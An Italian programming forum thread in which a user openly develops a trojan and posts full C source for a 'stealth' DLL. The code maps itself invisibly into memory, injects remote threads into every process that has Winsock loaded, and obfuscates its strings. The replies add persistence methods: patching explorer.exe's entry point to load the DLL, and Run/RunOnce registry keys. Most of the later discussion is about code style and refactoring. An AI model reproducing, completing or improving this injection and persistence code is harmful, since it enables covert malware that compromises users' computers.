|
|||||||
|
|
|
![]() |
|
|
Strumenti |
|
|
#1 |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
problema con DLL invisibile
dunque, non so se qualche frequentatore abituale del forum si ricorda del cavallo di troia che sto programmando
riassumendo: si tratta di una DLL "invisibile" (uso una tattica speciale che spiego qua sotto per renderla invisibile). qui di seguito riporto quello che per ora è il codice incompleto (non vi azzardate a dire che è incasinato perché è ordinatissimo, è uno dei più ordinati che abbia mai scritto!!!! Codice:
#ifndef _DEBUG
#define UNICODE
#endif
//#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <tlhelp32.h>
#define WM_SOCKET (WM_USER+1)
#define TESTFLAG(mask, flag) ((flag) == ((mask) & (flag)))
#ifdef _DEBUG
#define STEALTHENTRYRVA 0x1019
#else
#define STEALTHENTRYRVA 0x13F0
#endif
#ifdef _DEBUG
#define MYNOP
#else
#define MYNOP __asm __emit 0xEB __asm __emit 0x01 __asm __emit 0xEB
#endif
#pragma data_seg(".shared")
/*
* the attributes of this data section are defined in
* the DEF file and are READ, EXECUTE, SHARED and WRITE.
*/
const UINT uConn = 3;
struct _CONN {
char pszTarget[0x100];
BOOL fActive;
SOCKET s;
} pConn[uConn] = {
{"dnstarget1"},
{"dnstarget2"},
{"dnstarget3"}
}; // sorry, ma gli alias DNS li censuro :D
#pragma data_seg()
typedef struct _REMOTEDATA {
HANDLE hExplorer, hFile, hSection;
DWORD dwMapSize;
PVOID pvPrefAddr;
DWORD dwHdrSize;
} REMOTEDATA, *PREMOTEDATA;
#ifdef __cplusplus
extern "C" {
#endif
LPCTSTR Transcode(LPTSTR psz);
PBYTE GetFinalAddr(PBYTE pb);
BOOL FirstLoad(LPCTSTR pszFileName);
DWORD WINAPI RemoteThreadProc(PREMOTEDATA pData);
BOOL LoadToProcess(HANDLE hTarget, PREMOTEDATA prd);
typedef BOOL (*STEALTHENTRY)(HANDLE, HANDLE, HANDLE, PVOID, BOOL);
__declspec(dllexport) BOOL asdasdasd(HANDLE hExplorer, HANDLE hFile, HANDLE hSection, PVOID pvBaseAddr);
DWORD WINAPI ThreadProc(PVOID pParameter);
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
{
TCHAR pszFileName[0x400];
GetModuleFileName((HMODULE)hinstDLL, pszFileName, 0x3FF);
FirstLoad(pszFileName);
}
break;
}
return TRUE;
}
LPCTSTR Transcode(LPTSTR psz) {
LPTSTR pszCur = psz;
while (*pszCur) {
TCHAR tc = *pszCur;
MYNOP;
tc = tc ^ 0x1BC0;
*pszCur = tc;
pszCur++;
}
return psz;
}
PBYTE GetFinalAddr(PBYTE pb) {
PBYTE pbRes = pb;
while (1) {
if (0xEB == *pb) { // JMP short near relative (2 bytes)
pb = pb + 2 + *(pb + 1);
}
else if (0xE9 == *pb) { // JMP near relative (5 bytes)
pb = pb + 5 + *(PDWORD)(pb + 1);
}
else {
break;
}
}
return pbRes;
}
BOOL FirstLoad(LPCTSTR pszFileName) {
BOOL fSuccess = FALSE;
HANDLE hFile, hExplorer;
hFile = CreateFile(pszFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile && (INVALID_HANDLE_VALUE != hFile)) {
hExplorer = CreateFile(TEXT("explorer.exe"), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
SetFilePointer(hFile, 0x3C, NULL, FILE_BEGIN);
DWORD dwDummy, dwOffset;
ReadFile(hFile, (PVOID)&dwOffset, 4, &dwDummy, NULL);
SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
IMAGE_NT_HEADERS32 inth32;
ReadFile(hFile, (PVOID)&inth32, sizeof(IMAGE_NT_HEADERS32), &dwDummy, NULL);
IMAGE_SECTION_HEADER lastSecHdr;
SetFilePointer(hFile, dwOffset + sizeof(IMAGE_NT_HEADERS32) +
sizeof(IMAGE_SECTION_HEADER) * (inth32.FileHeader.NumberOfSections - 1), NULL, FILE_BEGIN);
ReadFile(hFile, (PVOID)&lastSecHdr, sizeof(IMAGE_SECTION_HEADER), &dwDummy, NULL);
DWORD dwTotalSize = lastSecHdr.VirtualAddress;
if (lastSecHdr.Misc.VirtualSize > lastSecHdr.SizeOfRawData) {
dwTotalSize += lastSecHdr.Misc.VirtualSize;
}
else {
dwTotalSize += lastSecHdr.SizeOfRawData;
}
HANDLE hSection = CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, dwTotalSize, NULL);
if (hSection && (INVALID_HANDLE_VALUE != hSection)) {
PVOID pvInst = MapViewOfFileEx(hSection, FILE_MAP_WRITE, 0, 0, 0, (PVOID)inth32.OptionalHeader.ImageBase);
if (!pvInst) {
pvInst = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0);
}
if (pvInst) {
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
ReadFile(hFile, pvInst, dwOffset + sizeof(IMAGE_NT_HEADERS32) + sizeof(IMAGE_SECTION_HEADER) *
inth32.FileHeader.NumberOfSections, &dwDummy, NULL);
PBYTE pbInst = (PBYTE)pvInst;
fSuccess = TRUE;
PIMAGE_NT_HEADERS32 pinth32 = (PIMAGE_NT_HEADERS32)(pbInst + *(PDWORD)(pbInst + 0x3C));
PIMAGE_SECTION_HEADER pSecHdrs = (PIMAGE_SECTION_HEADER)((PBYTE)pinth32 + sizeof(IMAGE_NT_HEADERS32));
for (UINT u = 0; fSuccess && (u < pinth32->FileHeader.NumberOfSections); u++) {
SetFilePointer(hFile, pSecHdrs[u].PointerToRawData, NULL, FILE_BEGIN);
ReadFile(hFile, (PVOID)(pbInst + pSecHdrs[u].VirtualAddress),
pSecHdrs[u].SizeOfRawData, &dwDummy, NULL);
}
{
PIMAGE_IMPORT_DESCRIPTOR pIDT = (PIMAGE_IMPORT_DESCRIPTOR)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (u = 0; pIDT[u].Characteristics; u++) {
char *pszName = (char*)pbInst + pIDT[u].Name;
if (!lstrcmpiA(pszName, "kernel32") ||
!lstrcmpiA(pszName, "kernel32.dll"))
{
HMODULE hKernel32 = LoadLibrary(TEXT("kernel32.dll"));
PDWORD pdwIAT = (PDWORD)(pbInst + pIDT[u].FirstThunk);
for (; *pdwIAT; pdwIAT++) {
if (TESTFLAG(*pdwIAT, IMAGE_ORDINAL_FLAG32)) {
*pdwIAT = (DWORD)GetProcAddress(hKernel32,
(LPCSTR)((*pdwIAT & ~IMAGE_ORDINAL_FLAG32) & 0xFFFF));
}
else {
*pdwIAT = (DWORD)GetProcAddress(hKernel32,
(LPCSTR)pbInst + (*pdwIAT & ~IMAGE_ORDINAL_FLAG32) + 2);
}
}
break;
}
}
}
for (u = 0; fSuccess && (u < pinth32->FileHeader.NumberOfSections); u++) {
DWORD dwFlags = pSecHdrs[u].Characteristics, dwProtect;
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_WRITE)) {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_SHARED)) {
dwProtect = PAGE_READWRITE;
}
else {
dwProtect = PAGE_WRITECOPY;
}
}
else {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_READ)) {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_SHARED)) {
dwProtect = PAGE_READONLY;
}
else {
dwProtect = PAGE_WRITECOPY;
}
}
else {
dwProtect = PAGE_NOACCESS;
}
}
fSuccess &= VirtualProtect((PVOID)(pbInst + pSecHdrs[u].PointerToRawData),
pSecHdrs[u].Misc.VirtualSize, dwProtect, &dwDummy);
}
if (fSuccess) {
STEALTHENTRY se = (STEALTHENTRY)(pbInst + STEALTHENTRYRVA);
if (fSuccess = se(hExplorer, hFile, hSection, pvInst, TRUE)) {
HANDLE hss1 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hss1) {
PROCESSENTRY32 pe = {
sizeof(PROCESSENTRY32)
};
if (Process32First(hss1, &pe)) {
do {
if (!pe.th32ProcessID) {
continue;
}
HANDLE hss2 = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe.th32ProcessID);
if (hss2) {
BOOL fInject = FALSE;
MODULEENTRY32 me = {
sizeof(MODULEENTRY32)
};
if (Module32First(hss2, &me)) {
do {
if (!lstrcmpi(me.szModule, TEXT("ws2_32")) ||
!lstrcmpi(me.szModule, TEXT("ws2_32.dll")))
{
fInject = TRUE;
break;
}
}
while (Module32Next(hss2, &me));
if (fInject) {
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD, TRUE, pe.th32ProcessID);
if (hProcess) {
REMOTEDATA rd = {
hExplorer,
hFile,
hSection,
dwTotalSize,
pvInst,
pinth32->OptionalHeader.SizeOfHeaders
};
LoadToProcess(hProcess, &rd);
}
}
}
CloseHandle(hss2);
}
}
while (Process32Next(hss1, &pe));
}
CloseHandle(hss1);
}
}
}
if (!fSuccess) {
UnmapViewOfFile(pvInst);
}
}
if (!fSuccess) {
CloseHandle(hSection);
}
}
if (!fSuccess) {
CloseHandle(hFile);
if (hExplorer && (INVALID_HANDLE_VALUE != hExplorer)) {
CloseHandle(hExplorer);
}
}
}
return fSuccess;
}
DWORD WINAPI RemoteThreadProc(PREMOTEDATA pData) {
PVOID pvInst = MapViewOfFileEx(pData->hSection, FILE_MAP_WRITE, 0, 0, pData->dwMapSize, pData->pvPrefAddr);
if (!pvInst) {
pvInst = MapViewOfFileEx(pData->hSection, FILE_MAP_WRITE, 0, 0, pData->dwMapSize, NULL);
}
if (pvInst) {
STEALTHENTRY se = (STEALTHENTRY)((PBYTE)pvInst + STEALTHENTRYRVA);
se(pData->hExplorer, pData->hFile, pData->hSection, pvInst, FALSE);
}
return 0;
}
BOOL LoadToProcess(HANDLE hTarget, PREMOTEDATA prd) {
BOOL fSuccess = FALSE;
HANDLE hCurrent = GetCurrentProcess();
DuplicateHandle(hCurrent, prd->hExplorer, hTarget, &prd->hExplorer, 0, TRUE, DUPLICATE_SAME_ACCESS);
if (DuplicateHandle(hCurrent, prd->hFile, hTarget, &prd->hFile, 0, TRUE, DUPLICATE_SAME_ACCESS) &&
DuplicateHandle(hCurrent, prd->hSection, hTarget, &prd->hSection, 0, TRUE, DUPLICATE_SAME_ACCESS))
{
PVOID pCode = VirtualAllocEx(hTarget, NULL, 0x1000, MEM_COMMIT, PAGE_READONLY),
pData = VirtualAllocEx(hTarget, NULL, sizeof(REMOTEDATA), MEM_COMMIT, PAGE_READONLY);
if (pCode && pData) {
DWORD dwDummy;
if (WriteProcessMemory(hTarget, pCode, (PVOID)GetFinalAddr((PBYTE)RemoteThreadProc), 0x1000, &dwDummy)) {
if (WriteProcessMemory(hTarget, pData, (PVOID)prd, sizeof(REMOTEDATA), &dwDummy)) {
if (CreateRemoteThread(hTarget, NULL, 0, (PTHREAD_START_ROUTINE)pCode, pData, 0, &dwDummy)) {
fSuccess = TRUE;
}
}
}
}
if (pCode) {
VirtualFreeEx(hTarget, pCode, 0, MEM_RELEASE);
}
if (pData) {
VirtualFreeEx(hTarget, pData, 0, MEM_RELEASE);
}
}
return fSuccess;
}
BOOL asdasdasd(HANDLE hExplorer, HANDLE hFile, HANDLE hSection, PVOID pvBaseAddr) {
BOOL fSuccess = TRUE;
PBYTE pbInst = (PBYTE)pvBaseAddr;
PIMAGE_NT_HEADERS32 pinth32 = (PIMAGE_NT_HEADERS32)(pbInst + *(PDWORD)(pbInst + 0x3C));
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
if ((PBYTE)pReloc != pbInst) {
int nRelocDataSize = pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
DWORD dwDelta = (DWORD)pbInst - pinth32->OptionalHeader.ImageBase;
while (nRelocDataSize > 0) {
UINT uFixups = (pReloc->SizeOfBlock - 8) / 2;
for (UINT u = 0; fSuccess && (u < uFixups); u++) {
PVOID pv = (PVOID)(pbInst + pReloc->VirtualAddress + (pReloc->TypeOffset[u] & 0x0FFF));
DWORD dwType = pReloc->TypeOffset[u] >> 12;
if (IMAGE_REL_BASED_ABSOLUTE != dwType) {
if (IMAGE_REL_BASED_HIGH == dwType) {
*(PWORD)pv += HIWORD(dwDelta);
}
else if (IMAGE_REL_BASED_LOW == dwType) {
*(PWORD)pv += LOWORD(dwDelta);
}
else if (IMAGE_REL_BASED_HIGHLOW == dwType) {
*(PDWORD)pv += dwDelta;
}
else if (IMAGE_REL_BASED_HIGHADJ == dwType) {
*(PWORD)pv += HIWORD(dwDelta);
*((PWORD)pv + 1) = LOWORD(dwDelta);
}
else {
#ifdef _DEBUG
__asm int 3
#endif
fSuccess = FALSE;
}
}
}
if (!fSuccess) {
break;
}
nRelocDataSize -= pReloc->SizeOfBlock;
pReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pReloc + pReloc->SizeOfBlock);
}
}
if (fSuccess) {
PIMAGE_IMPORT_DESCRIPTOR pIDT = (PIMAGE_IMPORT_DESCRIPTOR)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (UINT u = 0; pIDT[u].Characteristics; u++) {
HMODULE hModule = (HMODULE)LoadLibraryA((char*)pbInst + pIDT[u].Name);
if (!hModule) {
fSuccess = FALSE;
break;
}
PDWORD pdwILT = (PDWORD)(pbInst + pIDT[u].OriginalFirstThunk),
pdwIAT = (PDWORD)(pbInst + pIDT[u].FirstThunk);
for (UINT v = 0; fSuccess && pdwILT[v]; v++) {
PVOID pv;
if (TESTFLAG(pdwILT[v], IMAGE_ORDINAL_FLAG32)) {
pv = (PVOID)GetProcAddress(hModule, (LPCSTR)((pdwILT[v] & ~IMAGE_ORDINAL_FLAG32) & 0xFFFF));
}
else {
pv = (PVOID)GetProcAddress(hModule, (LPCSTR)pbInst + (pdwILT[v] & ~IMAGE_ORDINAL_FLAG32) + 2);
}
if (pv) {
if (pdwIAT[v] == (DWORD)pv) {
break;
}
else {
pdwIAT[v] = (DWORD)pv;
}
}
else {
fSuccess = FALSE;
}
}
}
}
if (fSuccess) {
DWORD dwDummy;
if (!CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)ThreadProc, NULL, 0, &dwDummy)) {
fSuccess = FALSE;
}
}
return fSuccess;
}
DWORD WINAPI ThreadProc(PVOID pParameter) {
// we're done! :-)
MessageBox(NULL, TEXT("MHUWAHUWAHUWAHUWAHWUAHAU!!! xD"), NULL, MB_ICONWARNING);
return 0;
}
#ifdef __cplusplus
}
#endif
- FirstLoad: effettua il primo caricamento in "stealth mode" - RemoteThreadProc: thread entry per processi esterni (lo uso per iniettare codice in altri processi, tecnica banale e conosciutissima) - LoadToProcess: duplica la copia locale della DLL in un altro processo - asdasdasd: questo è il mio entry point speciale: si chiama con un nome insignificante perché l'ho dovuto esportare - ThreadProc: generico entry point per nuovi thread più alcune funzioni di "utilità" per così dire: - Transcode: quando il lavoro sarà finito, codificherò tutte le stringhe presenti nella DLL e userò questa routine per transcodificarli prima e dopo l'uso; in questo modo non saranno leggibili in chiaro - GetFinalAddr: restituisce l'indirizzo a cui è effettivamente presente una funzione che viene chiamata tramite un certo indirizzo noto passato come parametro a GetFinalAddr in pratica il funzionamento si svolge come segue: ammettendo che la DLL venga caricata normalmente una sola volta, essa in risposta a DLL_PROCESS_ATTACH chiama FirstLoad; FirstLoad apre il file della DLL stessa, crea un oggetto file mapping nel file di paging, ci scrive il contenuto del file, prima tutti gli headers e poi le sezioni una per una, e binda una parte degli import (per l'esattezza quelli provenienti da kernel32.dll); in questo modo è stata creata nel processo locale la copia invisibile, e per finire l'opera viene chiamato l'entry point asdasdasd nella copia invisibile; a questo punto l'entry point riloca tutta la DLL e finisce di bindarla. piccola nota: se qualche frequentatore abituale del forum ha letto un mio vecchio thread in cui parlavo di un certo sistema di protezione anti API hooking, sappia che lo applicherò tra breve a questa DLL: per ora ho bindato la DLL normalmente, ma quando avrò risolto il problema che ho modificherò il codice e al posto degli indirizzo effettivi nella IAT ci metterò l'indirizzo di un piccolo stub che impedirà il monitoraggio delle funzioni importate. ora veniamo al problema: lo scopo finale di asdasdasd è quello di creare il thread; ebbene: lo crea ma non parte e non so perché... la CreateThread ritorna nonzero (l'identificatore del nuovo thread, verificato con Spy++), ma il codice di ThreadProc non viene mai eseguito sempre stando a quanto dice Spy++, il nuovo thread è in stato di wait, motivazione: "User Request" qualcuno sa cosa vuol dire? ^^ piccolo aiutino plz...
|
|
|
|
|
|
#2 |
|
Senior Member
Iscritto dal: Sep 2004
Messaggi: 3967
|
Ed eccomi anche qui!!
Non so se può avere a che fare o ti possa interessare,ma hai letto nella sezione news di quello strano bug che afflige il regedit con chiavi di registro che superano i 254 caratteri?
__________________
Dai wafer di silicio nasce: LoHacker... il primo biscotto Geek
|
|
|
|
|
|
#3 |
|
Senior Member
Iscritto dal: Oct 2002
Città: San Jose, California
Messaggi: 11794
|
BOOL FirstLoad(LPCTSTR pszFileName) {
.... Spezza questa funzione in almeno dieci parti! Ora! Totalmente OT. Tu lo sai che sto cercando qualcosa che calcolare la complessita' ciclomatica in Java e pubblica i report e se un metodo ha complessita' superiore a 5 o 7 te lo faccio riscrivere? Quel FirstLoad sara' a occhio attorno a 20/30!
__________________
"We in the game industry are lucky enough to be able to create our visions" @ NVIDIA |
|
|
|
|
|
#4 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
mi hai suggerito un bell'exploit, ciò però non risolve il problema discusso nel thread ^^' PS: le utilities Win32, specie quelle vecchie, sono letteralmente piene di bug del genere, la solita vecchia abitudine del Codice:
TCHAR pszBuffer[0x100]; |
|
|
|
|
|
|
#5 | |||
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
Quote:
edit: btw, se necessario scriverò così anche in Java per il game 2D che faremo è il mio modo, ormai sono fatto così in qualsiasi linguaggio scrivo, tendo ad avvicinarmi a quella roba là Quote:
e poi dico, l'hai visto quant'è lungo invece il codice dell'entry point segreto? asdasdasd (è proprio il caso di dirlo... )
Ultima modifica di 71104 : 01-09-2005 alle 15:10. |
|||
|
|
|
|
|
#7 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
a) la routine di installazione modifica termina explorer.exe e lo modifica aggiungendo un link alla mia DLL b) questa è meglio ancora: la routine di installazione termina explorer.exe, analizza la sezione .text, cerca un buco (probabilmente ne trova uno enorme di padding finale) in cui scrive il codice per una chiamata a LoadLibrary per caricare la mia DLL seguita da un JMP all'entrypoint dell'eseguibile; l'indirizzo del vero entry point dell'eseguibile memorizzato negli headers viene cambiato con l'indirizzo del mio codice. quindi niente shell extensions... |
|
|
|
|
|
|
#8 | ||
|
Senior Member
Iscritto dal: Oct 2002
Città: San Jose, California
Messaggi: 11794
|
Quote:
Se un metodo supera quel numero, non entra nel code base, se riesco scrivo uno script che controlli a quale check in si riferisce e faccia il roll back automaticamente. Altrimenti lo faccio a mano, e se lo faccio a mano significa che ci devo perdere tempo e significa che mi arrabbio di piu' col trasgressore! Quote:
__________________
"We in the game industry are lucky enough to be able to create our visions" @ NVIDIA |
||
|
|
|
|
|
#9 | |
|
Senior Member
Iscritto dal: May 2003
Città: Trieste, Pordenone
Messaggi: 920
|
Quote:
Sennò ci sono i classici: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ ...e amici!
__________________
buy here |
|
|
|
|
|
|
#10 | ||
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
inorridiresti nello spulciarti la directory "Visual C++" nei miei documenti e le sue sottodir... ma probabilmente anche la directory "NetBeans" ^^' ma a parte questo, se devo abiturami a programmare in altra maniera è un problema: io non scrivo mai in funzioni a parte codice che userò una volta sola... nel caso di adesso, la FirstLoad viene eseguita una sola volta, e per l'80% del suo codice non riesco a concepire una maniera di dividerlo, perché non avrebbe senso... come le dovrei chiamare queste funzioni, FirstLoad1, FirstLoad2? mi confonderebbe, anche perché non potrei più analizzare tutto il codice in una volta sola. Quote:
anche se fosse lì si tratterebbe quasi certamente di un errore a livello concettuale al quale non posso rimediare semplicemente suddividendo il codice (ammettendo di poterlo dividere in parti concettualmente sensate); si tratterà di un errore al quale non avrei potuto rimediare immediatamente nella stesura iniziale del codice perché non l'avrei potuto immaginare; questo significherebbe un grosso punto a tuo favore: non so se ricordi quando dicevo che è possibile scrivere codice senza errori... ebbene qui l'errore c'è, senza contare che non avrei potuto prevederlo. MA potrebbe anche trattarsi di qualcosa di molto più banale, qualche piccola dimenticanza che non vedo solamente a causa della terribile insonnia di cui ho sofferto stanotte (vero purtroppo PS: io cmq il bug lo cercherei piuttosto nell'entry point segreto, "asdasdasd"; e ricordo che comunque il thread c'è, solo che è in stato di wait per non si sa cosa
|
||
|
|
|
|
|
#11 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
e poi non sarebbe nemmeno necessario Run, basterebbe RunOnce |
|
|
|
|
|
|
#12 | ||
|
Senior Member
Iscritto dal: Oct 2002
Città: San Jose, California
Messaggi: 11794
|
Quote:
E' una mentalita' importante nella quale entrare, e se devi cambiare mentalita' per il nostro progetto, cosi' sara', perche' queste regole saranno piuttosto draconiane: metodi oltre le 15 righe di codice e 5/7 di complessita' non entrano nella code base e potete piangere anche in aramaico antico Ma comunque ne parleremo a tempo debito perche' qui e' OT... torniamo al tuo problema... Quote:
__________________
"We in the game industry are lucky enough to be able to create our visions" @ NVIDIA |
||
|
|
|
|
|
#13 |
|
Senior Member
Iscritto dal: Oct 2002
Città: San Jose, California
Messaggi: 11794
|
Vediamo, vediamo un po':
Codice:
BOOL FirstLoad(LPCTSTR pszFileName) {
BOOL fSuccess = FALSE;
HANDLE hFile, hExplorer;
hFile = CreateFile(pszFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
/// -----
hFile = OpenFileToXXXX(pszFileName); /// XXX e' quello che devi fare
/// ----
if (hFile && (INVALID_HANDLE_VALUE != hFile)) {
/// ----
if (FileHasBeenOpened(hFile))
{
/// ----
hExplorer = CreateFile(TEXT("explorer.exe"), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
/// ----
HANDLE hExplorer = CreateHandleToExplorer();
/// ----
// --- Da qui in poi mi sono perso :)
SetFilePointer(hFile, 0x3C, NULL, FILE_BEGIN);
DWORD dwDummy, dwOffset;
ReadFile(hFile, (PVOID)&dwOffset, 4, &dwDummy, NULL);
SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
IMAGE_NT_HEADERS32 inth32;
ReadFile(hFile, (PVOID)&inth32, sizeof(IMAGE_NT_HEADERS32), &dwDummy, NULL);
IMAGE_SECTION_HEADER lastSecHdr;
SetFilePointer(hFile, dwOffset + sizeof(IMAGE_NT_HEADERS32) +
sizeof(IMAGE_SECTION_HEADER) * (inth32.FileHeader.NumberOfSections - 1), NULL, FILE_BEGIN);
ReadFile(hFile, (PVOID)&lastSecHdr, sizeof(IMAGE_SECTION_HEADER), &dwDummy, NULL);
DWORD dwTotalSize = lastSecHdr.VirtualAddress;
if (lastSecHdr.Misc.VirtualSize > lastSecHdr.SizeOfRawData) {
dwTotalSize += lastSecHdr.Misc.VirtualSize;
}
else {
dwTotalSize += lastSecHdr.SizeOfRawData;
}
// --- A occhio sembra che tu stia leggendo tutto il file per poi eseguirlo
ReadFileInMemory(hFile, /* credo che avrai bisogno di farti restituire la lunghezza per dopo */);
// --- etc etc etc
Una volta ho dovuto lavorare su un metodo di 1500 righe di codice che disegnava il cielo di BW2... Ho impiegato tre giorni per ridurlo a piu' miti consigli, pero' alla fine ho potuto implementare quello che mi serviva.
__________________
"We in the game industry are lucky enough to be able to create our visions" @ NVIDIA |
|
|
|
|
|
#14 |
|
Senior Member
Iscritto dal: Oct 2001
Messaggi: 11471
|
Questa volta un bel coding-horror non te lo toglie nessuno
![]() ciao |
|
|
|
|
|
#15 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
comunque: potrei anche rivedermi la FirstLoad e suddividerla come dici tu, ma avrebbe poco senso imho: i nomi sarebbero lunghi un kilometro l'uno e sarebbero troppo specifici, tipo "BindJustAPartOfImportSection" senza contare che andando avanti col lavoro diventerebbe "BindOnlyKernel32UsingStubs", da non confondere con "BindOnlyKernel32WithoutStubs" e "FullBindWithStubs"... tutte funzioni da usare una volta sola ![]() e poi alla fine probabilmente mi verrà anche voglia di ottimizzare il tutto fino all'osso rimuovendo il CRT del Visual Studio e un po' di altra roba; togliere il CRT e lasciarci 10 chiamate superflue mi sembra un po' insensato... |
|
|
|
|
|
|
#16 | |||
|
Senior Member
Iscritto dal: Oct 2002
Città: San Jose, California
Messaggi: 11794
|
Quote:
Quote:
Io scrivo il codice esattamente cosi', cerco di fare in modo che si legga in inglese. La maggior parte dei miei metodi sono usati una volta sola e sono autoesplicativi. Hey, non me lo sono mica inventato io. Ti lascio con una perla: "If you feel the need to write a comment, write a method instead" edit: Sul dare i nomi ai metodi. I nomi dei metodi chiamati da un metodo devono stare allo stesso livello di astrazione, possibilmente nello spazio del problema, non nello spazio dell'implementazione. Mi spiego meglio, non crei un metodo tipo AddTwoInt32ToEachOther (spazio dell'implementazione), ma ComputePointerToNewLocation. Cosi' comunichi a chi legge il perche' sti sommando due interi a 32 bit, per calcolare la nuova locazione. Dopo un po' di pratica ci prendi la mano e viene piu' facile. Quote:
Entra in questa mentalita', e' un buon consiglio
__________________
"We in the game industry are lucky enough to be able to create our visions" @ NVIDIA Ultima modifica di fek : 01-09-2005 alle 16:05. |
|||
|
|
|
|
|
#17 | |
|
Senior Member
Iscritto dal: Oct 2002
Città: San Jose, California
Messaggi: 11794
|
Quote:
__________________
"We in the game industry are lucky enough to be able to create our visions" @ NVIDIA |
|
|
|
|
|
|
#18 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
|
|
|
|
|
|
|
#19 | |
|
Senior Member
Iscritto dal: Oct 2002
Città: San Jose, California
Messaggi: 11794
|
Quote:
__________________
"We in the game industry are lucky enough to be able to create our visions" @ NVIDIA |
|
|
|
|
|
|
#20 |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
problema risolto!
era banale, e si, lo confermo
![]() era una banalità della quale non mi accorgevo a causa della stanchezza ![]() affinché la MessageBox funzionasse necessitava del fatto che nel processo almeno un thread avesse un ciclo di messaggi; ne ho inserito uno nell'host di prova che uso per testare a DLL e ha funzionato. ho risolto senza dividere la mie belle funzioni (che sono proprio -oni) in parti senza senso (imho, perché imho una funzione chiamata una volta sola non serve a nulla nel 90% dei casi... e dal punto di vista funzionale diciamo il 95%), e udite udite... senza nemmeno usare il debugger ho semplicemente riflettuto comunque la discussione di questo thread è stata interessante. Ultima modifica di 71104 : 03-09-2005 alle 01:32. |
|
|
|
|
| Strumenti | |
|
|
Tutti gli orari sono GMT +1. Ora sono le: 08:14.











)










